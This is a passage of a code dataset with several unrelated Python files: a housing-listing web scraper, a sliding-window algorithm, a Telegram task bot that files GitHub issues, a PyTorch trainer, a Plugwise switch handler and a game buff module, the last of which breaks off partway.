+{"seq_id":"40709580","text":"#本爬虫仅用于学习，纯属爱好，虽然本爬虫很简单，但还是请大家不要滥用\n#python3, Firefox浏览器\n \nimport requests\nfrom bs4 import BeautifulSoup\nimport time\nimport csv\nimport re\n \n# 定制请求头，请求头在浏览器中查看，具体方法见附录一\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0',\n}\n \n# 将要访问的网址\n\n\n# 贝壳二手房地址\n# https://wh.ke.com/ershoufang/jiyuqiao/\n# https://wh.ke.com/ershoufang/jiyuqiao/pg3/\n\n\nlink = 'https://wh.ke.com/ershoufang/jiyuqiao/'\n# 武汉积玉桥二手房源地址\n# https://wh.ke.com/ershoufang/jiyuqiao/pg1/\n\n\n    # 将爬取的内容写入 test.csv中，编码格式为 'UTF-8'\n# with open('贝壳二手房源信息.csv', 'w+', encoding='UTF-8', newline='') as csvfile:\n#     w = csv.writer(csvfile)\n#     csv_title = [\"名称\", \"地址\", \"房屋信息\", \"总价\", \"单价\", \"房屋标签\", \"对应网址\"]\n#     w.writerow(csv_title)\n\n\n\n\n\n# 访问该网站\nfor i in range(1,3):\n    print(\"爬取第{:2.0f}页数据\".format(i))\n    # ****指定需要爬取地址的网页信息\n    url = 'https://wh.ke.com/ershoufang/jiyuqiao/pg'+str(i)\n    # print(url)\n    r = requests.get(url, headers=headers, timeout=100)\n     \n    # 使用BeautifulSoup提取html中的内容\n    # BeautifulSoup 中文官方文档：https://www.crummy.com/software/BeautifulSoup/bs4/doc.zh/#id37\n    soup = BeautifulSoup(r.text, 'lxml')\n\n# <li class=\"list-item\" data-from=\"\">网页分析\n    house_list = soup.find_all('li', class_=\"clear\")\n    # house_list = soup.find_all('div', class_=\"zu-info\")\n\n    with open('info.csv', 'w+', encoding='UTF-8', newline='') as csvfile:\n        # with open('test.csv', 'a+', encoding='UTF-8', newline='') as csvfile:\n        w = csv.writer(csvfile)\n        # csv_title = [\"名称\", \"地址\", \"房屋信息\", \"总价\", \"单价\", \"房屋标签\", \"对应网址\"]\n        # w.writerow(csv_title)\n\n\n        for house in house_list:\n            temp = []\n\n\n            name = house.find('div', class_=\"title\").a.text.strip()\n            address = house.find('div', class_='address').a.text.strip()\n            houseinfo = house.find('div', class_='houseInfo').text.strip()\n            # 用正则表达式清洗抓取数据里的特殊字符\n            a = re.compile(r'\\n|&nbsp|\\xa0|\\\\xa0|\\u3000|\\\\u3000|\\\\u0020|\\u0020|\\t|\\r')\n            clean_houseinfo = a.sub('', houseinfo)\n\n            '''\n            <div class=\"tag\">\n                <span class=\"subway\">近地铁</span>\n                <span class=\"isVrFutureHome\">VR房源</span>\n                <span class=\"is_key\">随时看房</span>\n            </div>\n            '''\n            house_tag = house.find('div', class_='tag').get_text(\"|\",strip=True)\n\n            price = house.find('div', class_='totalPrice').text.strip()\n            untiPrice = house.find('div', class_='unitPrice').span.text.strip()\n\n            '''\n            <a class=\"img  CLICKDATA maidian-detail\" data-hreftype=\"0\" data-agentid=\"\" data-maidian=\"289817724040429593\" href=\"https://wh.ke.com/ershoufang/18082910510101140675.html\" target=\"_blank\" title=\"绿地名邸公馆毛坯两房，无遮挡，交通便利，看房方便！\" >\n                <img class=\"lj-lazy\" src=\"https://ke-image.ljcdn.com/420100-inspection/test-58ab606f-b6bf-49e1-8c29-5cbd4e28a888.png!m_fill,w_280,h_210,f_jpg?from=ke.com\" data-original=\"https://ke-image.ljcdn.com/420100-inspection/test-58ab606f-b6bf-49e1-8c29-5cbd4e28a888.png!m_fill>\n                <img src=\"https://s1.ljcdn.com/pegasus/redskull/images/common/vrlogo@2x.png?_v=20200310144440\" class=\"vr_logo\">\n            </a>\n            '''\n            # 分析上面的html语句抓取相应url地址\n            house_url = house.select(\"a\")[0][\"href\"]\n            print(house_url)\n\n\n            temp = [name + clean_houseinfo, address, price, house_url, untiPrice, house_tag]\n            print(temp)\n\n\n            time.sleep(0.5)\n            # 写入表格（贝壳二手房源信息.csv）\n            w.writerow(temp)\n\n\n\n\n","sub_path":"房源爬取/beikespider-crawl.py","file_name":"beikespider-crawl.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"28086013","text":"'''\nGiven an array nums, there is a sliding window of size k which is moving from the very left of the array to the very right. You can only see the k numbers in the window. Each time the sliding window moves right by one position. Return the max sliding window.\n\nExample:\n\nInput: nums = [1,3,-1,-3,5,3,6,7], and k = 3\nOutput: [3,3,5,5,6,7] \nExplanation: \n\nWindow position                Max\n---------------               -----\n[1  3  -1] -3  5  3  6  7       3\n 1 [3  -1  -3] 5  3  6  7       3\n 1  3 [-1  -3  5] 3  6  7       5\n 1  3  -1 [-3  5  3] 6  7       5\n 1  3  -1  -3 [5  3  6] 7       6\n 1  3  -1  -3  5 [3  6  7]      7\nNote: \nYou may assume k is always valid, 1 ≤ k ≤ input array's size for non-empty array.\n\nFollow up:\nCould you solve it in linear time?\n'''\n\nfrom collections import deque\nclass MaxQue:\n    def __init__(self):\n        self.que = deque()\n\n    def push(self, x):\n        count = 0\n        while self.que and self.que[-1][0] < x:\n            count += self.que[-1][1] + 1\n            self.que.pop()\n        self.que.append([x, count])\n    \n    def pop(self):\n        if self.que[0][1] > 0:\n            self.que[0][1] -= 1\n            return\n        self.que.popleft()\n    \n    def get_max(self):\n        return self.que[0][0]\n\n\n\nfrom heapq import *\nimport itertools\n\nclass PQMax:\n    \n    def __init__(self):\n        self.pq = []                       \n        self.entry_finder = {}              \n        self.REMOVED = '<removed-task>'           \n        self.counter = itertools.count()\n\n    def add_task(self, task, priority):\n        if task in self.entry_finder:\n            self.remove_task(task, priority)\n        entry = [task, next(self.counter), priority]\n        self.entry_finder[(task, priority)] = entry\n        heappush(self.pq, entry)\n\n    def remove_task(self, task, priority):\n        entry = self.entry_finder.pop((task, priority))\n        entry[-1] = self.REMOVED\n\n    def pop_task(self):\n        while self.pq:\n            task, _, priority = heappop(self.pq)\n            if priority is not self.REMOVED:\n                del self.entry_finder[(task, priority)]\n                return task, priority\n        raise KeyError('pop from an empty priority queue')\n\n    def get_max(self):\n        maxx, index = self.pop_task()\n        self.add_task(maxx, index)\n        return -maxx\n\n    \ndef max_sliding_window(nums, k):\n    pq = PQMax()\n    \n    for i in range(k):\n        pq.add_task(-nums[i], i)\n    \n    result = []\n    result.append(pq.get_max())\n\n    for i in range(k, len(nums)):\n        pq.remove_task(-nums[i - k], i - k)\n        pq.add_task(-nums[i], i)\n        result.append(pq.get_max())\n    \n    return result \n\n\n\ndef max_sliding_window_v2(nums, k: int):\n    que = MaxQue()\n    result = []\n    for i in range(k):\n        que.push(nums[i])\n    \n    result.append(que.get_max())\n    \n    for i in range(k, len(nums)):\n        que.pop()\n        que.push(nums[i])\n        result.append(que.get_max())\n    \n    return result\n","sub_path":"algorithms/queues/max_sliding_window.py","file_name":"max_sliding_window.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"369763886","text":"#!/usr/bin/env python3\n\nimport json\nimport requests\nimport time\nimport urllib\nimport sqlalchemy\nimport db\nfrom db import Task\nfrom datetime import datetime\n\nTOKEN_FILENAME = \"token.txt\"\nAUTHORIZATION_LOGIN_FILENAME = \"login.txt\"\nAUTHORIZATION_PASSWORD_FILENAME = \"password.txt\"\n\ntokenopen = open(TOKEN_FILENAME, 'r')\ntokenread = tokenopen.readline()\n\nloginopen = open(AUTHORIZATION_LOGIN_FILENAME, 'r')\nloginread = loginopen.readline()\n\npasswordopen = open(AUTHORIZATION_PASSWORD_FILENAME, 'r')\npasswordread = passwordopen.readline()\n\nURL = \"https://api.telegram.org/bot{}/\".format(tokenread.rstrip())\n\n\nEMOJI_DONE = '\\U00002611'\nEMOJI_STATUS = '\\U0001F4DD'\nEMOJI_TASK = '\\U0001F4CB'\nEMOJI_DOING = '\\U000023FA'\nEMOJI_TODO = '\\U0001F195'\nEMOJI_LOW = '\\U0001F600'\nEMOJI_MEDIUM = '\\U0001F610'\nEMOJI_HIGH = '\\U0001F621'\n\nHELP = \"\"\"\n /new NOME\n /todo ID1 ID2 ID3...\n /doing ID ID2 ID3...\n /done ID ID2 ID3...\n /delete ID\n /list\n /rename ID NOME\n /dependson ID ID...\n /duplicate ID\n /duedate ID DATE(mm/dd/YYYY)\n /priority ID PRIORITY{low, medium, high}\n priority low = \"\"\" + EMOJI_LOW + \"\"\"\n priority medium = \"\"\" + EMOJI_MEDIUM + \"\"\"\n priority high = \"\"\" + EMOJI_HIGH + \"\"\"\n /help\n\"\"\"\n\n\ndef get_url(url):\n    response = requests.get(url)\n    content = response.content.decode(\"utf8\")\n    return content\n\ndef create_issue(title, body=None):\n    url = 'https://api.github.com/repos/TecProg-20181/T--amigosdopeixe/issues'\n    request = requests.Session()\n    request.auth =(loginread.rstrip(), passwordread.rstrip())\n    issue = {'title': title,\n             'body': body}\n    post = request.post(url, json.dumps(issue))\n    if post.status_code == 201:\n        print ('Issue is created!')\n    else:\n        print (\"Issue not created.\")\n\ndef get_json_from_url(url):\n    content = get_url(url)\n    js = json.loads(content)\n    return js\n\n\ndef get_updates(offset=None):\n    url = URL + \"getUpdates?timeout=100\"\n    if offset:\n        url += \"&offset={}\".format(offset)\n    js = get_json_from_url(url)\n    return js\n\n\ndef send_message(text, chat_id, reply_markup=None):\n    text = urllib.parse.quote_plus(text)\n    url = URL + \"sendMessage?text={}&chat_id={}\\\n                 &parse_mode=Markdown\".format(text, chat_id)\n    if reply_markup:\n        url += \"&reply_markup={}\".format(reply_markup)\n    get_url(url)\n\n\ndef get_last_update_id(updates):\n    update_ids = []\n    for update in updates[\"result\"]:\n        update_ids.append(int(update[\"update_id\"]))\n\n    return max(update_ids)\n\n\ndef deps_text(task, chat, preceed=''):\n    text = ''\n\n    for i in range(len(task.dependencies.split(',')[:-1])):\n        line = preceed\n        query = db.session.query(Task).\\\n            filter_by(id=int(task.dependencies.split(',')[:-1][i]), chat=chat)\n        dep = query.one()\n\n        icon = '\\U0001F195'\n        if dep.status == 'DOING':\n            icon = '\\U000023FA'\n        elif dep.status == 'DONE':\n            icon = '\\U00002611'\n\n        if i + 1 == len(task.dependencies.split(',')[:-1]):\n            line += '└── [[{}]] {} {}\\n'.format(dep.id, icon, dep.name)\n            line += deps_text(dep, chat, preceed + '    ')\n        else:\n            line += '├── [[{}]] {} {}\\n'.format(dep.id, icon, dep.name)\n            line += deps_text(dep, chat, preceed + '│   ')\n\n        text += line\n\n    return text\n\n\ndef is_msg_digit(msg, chat):\n    if msg.isdigit():\n        return True\n    send_message(\"The task id is missing or invalid\", chat)\n    return False\n\n\ndef new_task(msg, chat):\n    task = Task(chat=chat, name=msg, status='TODO',\n                dependencies='', parents='', priority='')\n    db.session.add(task)\n    db.session.commit()\n    send_message(\"New task *TODO* [[{}]] {}\".format(task.id, task.name), chat)\n    create_issue(task.name, 'Task ID: [{}]\\n\\ Task Name: {}'.format(task.id, task.name))\n\n\ndef rename_task(msg, chat):\n    new_name = ''\n    if msg != '':\n        if len(msg.split(' ', 1)) > 1:\n            new_name = msg.split(' ', 1)[1]\n        msg = msg.split(' ', 1)[0]\n\n    if is_msg_digit(msg, chat):\n        task_id = int(msg)\n        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n        try:\n            task = query.one()\n        except sqlalchemy.orm.exc.NoResultFound:\n            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n            return\n\n        if new_name == '':\n            send_message(\"You want to modify task {},\\\n                         but you didn't provide any new text\".\n                         format(task_id), chat)\n            return\n\n        old_name = task.name\n        task.name = new_name\n        db.session.commit()\n        send_message(\"Task {} redefined from {} to {}\".\n                     format(task_id, old_name, new_name), chat)\n\n\ndef list_tasks(msg, chat):\n    response = ''\n    response += EMOJI_TASK + 'Task List\\n'\n    query = db.session.query(Task).filter_by(parents='',\n                                             chat=chat).order_by(Task.id)\n\n    for task in query.all():\n        if task.status == 'DOING':\n            icon = EMOJI_DOING\n        elif task.status == 'DONE':\n            icon = EMOJI_DONE\n        elif task.status == 'TODO':\n            icon = EMOJI_TODO\n\n        response += '[[{}]] {} {} {} *DEADLINE:* {}\\n'.format(task.id, icon, task.name, task.priority, task.duedate)\n        response += deps_text(task, chat)\n\n    send_message(response, chat)\n    response = ''\n\n    response += EMOJI_STATUS + ' _Status_\\n'\n\n    query = db.session.query(Task).filter_by(status='TODO',\n                                             chat=chat).order_by(Task.id)\n    response += '\\n' + EMOJI_TODO + ' *TODO*\\n'\n    for task in query.all():\n        response += '[[{}]] {} {} *DEADLINE:*{}\\n'.format(task.id, task.name, task.priority, task.duedate)\n    query = db.session.query(Task).filter_by(status='DOING',\n                                             chat=chat).order_by(Task.id)\n\n    response += '\\n' + EMOJI_DOING + ' *DOING*\\n'\n    for task in query.all():\n        response += '[[{}]] {} {} *DEADLINE:*{}\\n'.format(task.id, task.name, task.priority, task.duedate)\n    query = db.session.query(Task).filter_by(status='DONE',\n                                             chat=chat).order_by(Task.id)\n\n    response += '\\n' + EMOJI_DONE + ' *DONE*\\n'\n    for task in query.all():\n        response += '[[{}]] {} {}\\n'.format(task.id, task.name, task.priority)\n\n    send_message(response, chat)\n\n\ndef duplicate_task(msg, chat):\n    if is_msg_digit(msg, chat):\n        task_id = int(msg)\n        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n        try:\n            task = query.one()\n        except sqlalchemy.orm.exc.NoResultFound:\n            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n            return\n\n        new_task = Task(chat=task.chat, name=task.name, status=task.status,\n                        dependencies=task.dependencies, parents=task.parents,\n                        priority=task.priority, duedate=task.duedate)\n\n        db.session.add(new_task)\n\n        for t in task.dependencies.split(',')[:-1]:\n            qy = db.session.query(Task).filter_by(id=int(t), chat=chat)\n            t = qy.one()\n            t.parents += '{},'.format(new_task.id)\n\n        db.session.commit()\n        send_message(\"New task *TODO* [[{}]] {}\".\n                     format(new_task.id, new_task.name), chat)\n\n\ndef get_id_list(msg):\n    id_list = msg.split(' ')\n    return id_list\n\n\ndef update_status(msg, status, chat):\n    ids = get_id_list(msg)\n    print(ids)\n    for id in ids:\n        if(is_msg_digit(id, chat)):\n            task_id = int(id)\n            query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n            try:\n                task = query.one()\n            except sqlalchemy.orm.exc.NoResultFound:\n                send_message(\"_404_ Task {} not found x.x\".format(task_id),\n                             chat)\n                return\n            task.status = status\n            db.session.commit()\n            send_message(\"*\" + status + \"* task [[{}]] {} {}\".format(\n                         task.id, task.name, task.priority), chat)\n\n\ndef delete_task(msg, chat):\n    if is_msg_digit(msg, chat):\n        task_id = int(msg)\n        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n        try:\n            task = query.one()\n        except sqlalchemy.orm.exc.NoResultFound:\n            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n            return\n        for t in task.dependencies.split(',')[:-1]:\n            qy = db.session.query(Task).filter_by(id=int(t), chat=chat)\n            t = qy.one()\n            t.parents = t.parents.replace('{},'.format(task.id), '')\n        for t in task.parents.split(',')[:-1]:\n            query = db.session.query(Task).filter_by(id=int(t), chat=chat)\n            t = query.one()\n            t.dependencies = t.dependencies.replace('{},'.format(task.id), '')\n\n        db.session.delete(task)\n        db.session.commit()\n        send_message(\"Task [[{}]] deleted\".format(task_id), chat)\n\n\ndef add_dependency(msg, chat):\n    text = ''\n    if msg != '':\n        if len(msg.split(' ', 1)) > 1:\n            text = msg.split(' ', 1)[1]\n        msg = msg.split(' ', 1)[0]\n\n    if is_msg_digit(msg, chat):\n        task_id = int(msg)\n        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n        try:\n            task = query.one()\n        except sqlalchemy.orm.exc.NoResultFound:\n            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n            return\n\n        if text == '':\n            for i in task.dependencies.split(',')[:-1]:\n                i = int(i)\n                q = db.session.query(Task).filter_by(id=i, chat=chat)\n                t = q.one()\n                t.parents = t.parents.replace('{},'.format(task.id), '')\n\n            task.dependencies = ''\n            send_message(\"Dependencies removed from task {}\"\n                         .format(task_id), chat)\n        else:\n            for depid in text.split(' '):\n                if not depid.isdigit():\n                    send_message(\"All dependencies ids must be numeric,\\\n                                 and not {}\".format(depid), chat)\n                else:\n                    depid = int(depid)\n                    query = db.session.query(Task).filter_by(id=depid,\n                                                             chat=chat)\n                    try:\n                        taskdep = query.one()\n                        taskdep.parents += str(task.id) + ','\n                    except sqlalchemy.orm.exc.NoResultFound:\n                        send_message(\"_404_ Task {} not found x.x\"\n                                     .format(depid), chat)\n                        continue\n\n                    deplist = task.dependencies.split(',')\n                    if str(depid) not in deplist:\n                        task.dependencies += str(depid) + ','\n\n        db.session.commit()\n        send_message(\"Task {} dependencies up to date\".format(task_id), chat)\n\n\ndef change_priority(msg, chat):\n    priority = ''\n    if msg != '':\n        if len(msg.split(' ', 1)) > 1:\n            priority = msg.split(' ', 1)[1]\n        msg = msg.split(' ', 1)[0]\n\n    if is_msg_digit(msg, chat):\n        task_id = int(msg)\n        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n        try:\n            task = query.one()\n        except sqlalchemy.orm.exc.NoResultFound:\n            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n            return\n\n        if priority == '':\n            task.priority = ''\n            send_message(\"_Cleared_ all priorities from task {}\"\n                         .format(task_id), chat)\n        else:\n            if priority.lower() not in ['high', 'medium', 'low']:\n                send_message(\"The priority *must be* one of the following:\\\n                              high, medium, low\", chat)\n            else:\n                if priority.lower() == 'low':\n                    task.priority = EMOJI_LOW\n                elif priority.lower() == 'medium':\n                    task.priority = EMOJI_MEDIUM\n                elif priority.lower() == 'high':\n                    task.priority = EMOJI_HIGH\n\n                send_message(\"*Task {}* priority has priority *{}*\"\n                             .format(task_id, priority.lower()), chat)\n        db.session.commit()\n\n\ndef date_format(text):\n    try:\n        datetime.strptime(text, '%m/%d/%Y')\n        return True\n    except ValueError:\n        return False\n\n\ndef duedate(msg, chat):\n            text = ''\n            if msg != '':\n                if len(msg.split(' ', 1)) > 1:\n                    text = msg.split(' ', 1)[1]\n                    msg = msg.split(' ', 1)[0]\n\n                    if not msg.isdigit():\n                        send_message(\"You must inform the task id\", chat)\n                    else:\n                        task_id = int(msg)\n                        query = db.session.query(Task).filter_by(id=task_id, chat=chat)\n                        try:\n                            task = query.one()\n                        except sqlalchemy.orm.exc.NoResultFound:\n                            send_message(\"_404_ Task {} not found x.x\".format(task_id), chat)\n                            return\n\n                        if text == '':\n                            send_message(\"You want to give a duedate to task {}, but you didn't provide any date\".format(task_id), chat)\n                            return\n                        else:\n                            if not date_format(text):\n                                send_message(\"The duedate needs to be on US Format: mm/dd/YYYY\", chat)\n                            else:\n                                task.duedate = datetime.strptime(text, '%m/%d/%Y')\n                                send_message(\"Task {} deadline is on: {}\".format(task_id, text), chat)\n                        db.session.commit()\n\n\ndef handle_updates(updates):\n    for update in updates[\"result\"]:\n        if 'message' in update:\n            message = update['message']\n        elif 'edited_message' in update:\n            message = update['edited_message']\n        else:\n            print('Can\\'t process! {}'.format(update))\n            return\n\n        command = message[\"text\"].split(\" \", 1)[0]\n        msg = ''\n        if len(message[\"text\"].split(\" \", 1)) > 1:\n            msg = message[\"text\"].split(\" \", 1)[1].strip()\n\n        chat = message[\"chat\"][\"id\"]\n\n        print(command, msg, chat)\n\n        if command == '/new':\n            new_task(msg, chat)\n\n        elif command == '/rename':\n            rename_task(msg, chat)\n\n        elif command == '/duplicate':\n            duplicate_task(msg, chat)\n\n        elif command == '/delete':\n            delete_task(msg, chat)\n\n        elif command == '/todo':\n            update_status(msg, \"TODO\", chat)\n\n        elif command == '/doing':\n            update_status(msg, \"DOING\", chat)\n\n        elif command == '/done':\n            update_status(msg, \"DONE\", chat)\n\n        elif command == '/list':\n            list_tasks(msg, chat)\n\n        elif command == '/dependson':\n            add_dependency(msg, chat)\n\n        elif command == '/priority':\n            change_priority(msg, chat)\n\n        elif command == '/start':\n            send_message(\"Welcome! Here is a list of things you can do.\", chat)\n            send_message(HELP, chat)\n\n        elif command == '/help':\n            send_message(\"Here is a list of things you can do.\", chat)\n            send_message(HELP, chat)\n        elif command == '/duedate':\n            duedate(msg, chat)\n\n        else:\n            send_message(\"I'm sorry dave. I'm afraid I can't do that.\", chat)\n\n\ndef main():\n    last_update_id = None\n\n    while True:\n        print(\"Updates\")\n        updates = get_updates(last_update_id)\n\n        if len(updates[\"result\"]) > 0:\n            last_update_id = get_last_update_id(updates) + 1\n            handle_updates(updates)\n\n        time.sleep(0.5)\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"taskbot.py","file_name":"taskbot.py","file_ext":"py","file_size_in_byte":16077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"616842898","text":"import logging\nimport time\n\nimport torch\n\nimport bf.eval\nfrom bf.utils.event_emitter import EventEmitter\n\n\nclass Trainer(EventEmitter):\n    def __init__(self,\n                 epochs,\n                 phases,\n                 model,\n                 optimizer,\n                 init_epoch_state_fn=None,\n                 step_fn=None,\n                 accumulation_steps=1,\n                 metrics={},\n                 eval_every=1):\n        super(Trainer, self).__init__()\n\n        self.epochs = epochs\n        self.phases = phases\n        self.model = model\n        self.optimizer = optimizer\n        self.init_epoch_state_fn = init_epoch_state_fn\n        self.step_fn = step_fn\n        self.accumulation_steps = accumulation_steps\n        self.eval_every = eval_every\n\n        self.state = {\n            'epoch': 0,\n            'global_step': 0,\n            'model': model\n        }\n\n        self.evaluator = bf.eval.Evaluator(model,\n                                           init_epoch_state_fn,\n                                           step_fn,\n                                           metrics)\n\n    @property\n    def global_step(self):\n        return self.state['global_step']\n\n    def resume(self, initial_epoch, initial_step):\n        self.state['epoch'] = initial_epoch\n        self.state['global_step'] = initial_step\n        logging.info(f'>> Resuming from: step: {initial_epoch}, epoch: {initial_epoch}')\n\n    def _train_epoch(self, dataloader, num_batches=None):\n        start = time.time()\n        global_state = self.state\n        num_batches = len(dataloader) if num_batches is None else num_batches\n        epoch_len = num_batches // self.accumulation_steps\n        epoch_state = self.init_epoch_state_fn()\n\n        self.model.train()\n\n        self.optimizer.zero_grad()\n\n        for step, batch in enumerate(dataloader):\n            if step >= num_batches:\n                break\n\n            if (step + 1) % self.accumulation_steps == 0:\n                global_state['global_step'] += 1\n                self.emit('step_start', phase='train', global_state=self.state, state=epoch_state)\n\n            with torch.enable_grad():\n                loss, _, epoch_state = self.step_fn(step, 'train', batch, epoch_state)\n                loss.backward()\n\n            if (step + 1) % self.accumulation_steps == 0:\n                self.optimizer.step()\n                self.optimizer.zero_grad()\n\n                messages = [f'[train] step: {step//self.accumulation_steps}/{epoch_len-1}']\n                for k, v in epoch_state.items():\n                    messages.append(f'{k}: {v:6f}')\n                for i, x in enumerate(self.optimizer.param_groups):\n                    messages.append(f'lr {i}: {x[\"lr\"]:.12f}')\n\n                print(f'{\", \".join(messages)}    ', end='\\r')\n\n                self.emit('step_end', phase='train', global_state=self.state, state=epoch_state)\n\n        elapsed = time.time() - start\n        logging.info(f'\\n[train] finished in {elapsed//60:.0f}m {elapsed%60:.0f}s')\n\n        return epoch_state\n\n    def run(self, dataloader, num_batches_per_epoch=None):\n        start = time.time()\n\n        for epoch in range(self.state['epoch'], self.epochs):\n            logging.info(f'Epoch: {epoch}/{self.epochs-1}')\n\n            self.state['epoch'] = epoch\n            epoch_state = {}\n\n            self.emit('epoch_start', global_state=self.state)\n\n            for phase in self.phases:\n                if phase == 'eval' and (epoch + 1) % self.eval_every != 0:\n                    continue\n\n                self.emit('phase_start', phase=phase, global_state=self.state)\n\n                if phase == 'train':\n                    phase_state = self._train_epoch(dataloader['train'], num_batches=num_batches_per_epoch)\n                if phase == 'eval':\n                    phase_state = self.evaluator.run(dataloader['eval'])\n\n                for k, v in phase_state.items():\n                    epoch_state[f'{phase}_{k}'] = v\n\n                if phase == 'train':\n                    self.state['model_dict'] = self.model.state_dict()\n                    self.state['optimizer_dict'] = self.optimizer.state_dict()\n\n                self.emit('phase_end', phase=phase, global_state=self.state, epoch_state=epoch_state, phase_state=phase_state)\n\n            self.emit('epoch_end', phase=phase, global_state=self.state, epoch_state=epoch_state)\n\n        elapsed = time.time() - start\n        logging.info(f'Training finished. Total time spent: {elapsed//60:.0f}m {elapsed%60:.0f}s')\n","sub_path":"bf/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"453185451","text":"\n\n#calss header\nclass _FORMATION():\n\tdef __init__(self,): \n\t\tself.name = \"FORMATION\"\n\t\tself.definitions = [u'the way something is naturally made or the way it has been arranged: ', u'the development of something into a particular thing or shape: ', u'Activities that are done in formation are done in a pattern by a number of people, vehicles, etc. moving together: ', u\"an arrangement of a team's players on a football field: \"]\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_formation.py","file_name":"_formation.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"467495950","text":"\"\"\"\nUse of this source code is governed by the MIT license found in the LICENSE file.\n\nPlugwise switch node object\n\"\"\"\nfrom plugwise.constants import (\n    HA_BINARY_SENSOR,\n    HA_SENSOR,\n    SENSOR_SWITCH,\n)\nfrom plugwise.nodes.sed import NodeSED\nfrom plugwise.messages.responses import NodeSwitchGroupResponse\n\n\nclass PlugwiseSwitch(NodeSED):\n    \"\"\"provides interface to the Plugwise Switch nodes\"\"\"\n\n    def __init__(self, mac, address, stick):\n        super().__init__(mac, address, stick)\n        self.categories = (HA_SENSOR, HA_BINARY_SENSOR)\n        self._switch_state = False\n\n    def get_switch_state(self):\n        \"\"\" Return state of switch\"\"\"\n        return self._switch_state\n\n    def _on_SED_message(self, message):\n        \"\"\"\n        Process received message\n        \"\"\"\n        if isinstance(message, NodeSwitchGroupResponse):\n            self.stick.logger.debug(\n                \"Switch group request %s received from %s for group id %s\",\n                str(message.power_state),\n                self.get_mac(),\n                str(message.group),\n            )\n            self._process_switch_group(message)\n            self.stick.message_processed(message.seq_id)\n\n    def _process_switch_group(self, message):\n        \"\"\"Switch group request from Scan\"\"\"\n        if message.power_state == 0:\n            # turn off => clear motion\n            if self._switch_state:\n                self._switch_state = False\n                self.do_callback(SENSOR_SWITCH[\"id\"])\n        elif message.power_state == 1:\n            # turn on => motion\n            if not self._switch_state:\n                self._switch_state = True\n                self.do_callback(SENSOR_SWITCH[\"id\"])\n        else:\n            self.stick.logger.debug(\n                \"Unknown power_state (%s) received from %s\",\n                str(message.power_state),\n                self.get_mac(),\n            )\n","sub_path":"plugwise/nodes/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"545496915","text":"# -*- coding: utf-8 -*-\r\n\r\ndef init():\r\n\timport buff.load\r\n\r\nif \"gBuffList\" not in globals():\r\n\tgBuffList = {}\r\n\t\r\ndef new(bfId):\r\n\t'''创建 buff\r\n\t'''\r\n\tmoduleList = buff.load.getModuleList()\r\n\treturn moduleList[bfId].Buff(bfId)\r\n\r\ndef get(bfId):\r\n\t'''获取buff\r\n\t'''\r\n\tglobal gBuffList\r\n\tif bfId not in gBuffList:\r\n\t\tbfObj = new(bfId)\r\n\t\tgBuffList[bfId] = bfObj\r\n\treturn gBuffList[bfId]\r\n\r\ndef add(vic, bfId, bout, att=None, **args):\r\n\t'''增加buff\r\n\t'''\r\n\tbfObj = get(bfId)\r\n\tif not bfObj:\r\n\t\treturn None\r\n\tif has(vic, bfId):\r\n\t\treturn None\r\n\tif not _checkAdd(vic, bfObj, att):\r\n\t\treturn None\r\n\t\r\n\tfor func in vic.getFuncList(\"onAddBuff\"):\r\n\t\tbout = func(vic, bfObj, bout, att)\r\n\tif bout == 0:\r\n\t\treturn None\r\n\t\r\n\tpos = _newOrReplacePos(vic, bfObj)\r\n\ttypePos = bfObj.getTypePos()\r\n\r\n\tbfObj = new(bfId)\r\n\tbfObj.bout = bout\r\n\tbfObj.pos = pos\r\n\tbfObj.onNew(vic, att, **args)\r\n\tbfObj.setup(vic)\r\n\tvic.buffList[typePos][pos] = bfObj\r\n\treturn bfObj\r\n\r\ndef _checkAdd(vic, bfObj, att=None):\r\n\tif not vic.inWar(): # 已踢出战场\r\n\t\treturn 0\r\n\tif vic.isLineupEye(): # 阵眼不能加buff\r\n\t\treturn 0\r\n\t\r\n\twarObj = vic.war\r\n\t\r\n\t# 冲突检查\r\n\t# toDo...\r\n\t\r\n\tif bfObj.getTypePos() != BUFF_TYPEPOS_SPECIAL and vic.hasApply(\"禁止buff\"):\r\n\t\treturn 0\r\n# \tif bfObj.isPoison() and vic.hasApply(\"免疫毒\"):\r\n# \t\treturn 0\r\n\t\r\n# \t# 抗封处理\r\n# \tif bfObj.type == BUFF_TYPE_SEAL:\r\n# \t\tif vic.hasApply(\"抗封\"):\r\n# \t\t\twarObj.printDebugMsg(\"\\t[%s]抗封成功\" % vic.name)\r\n# \t\t\treturn 0\r\n# \t\tratio = vic.queryApplyAll(\"抗封率\")\r\n# \t\tif ratio:\r\n# \t\t\tif rand(100) < ratio:\r\n# 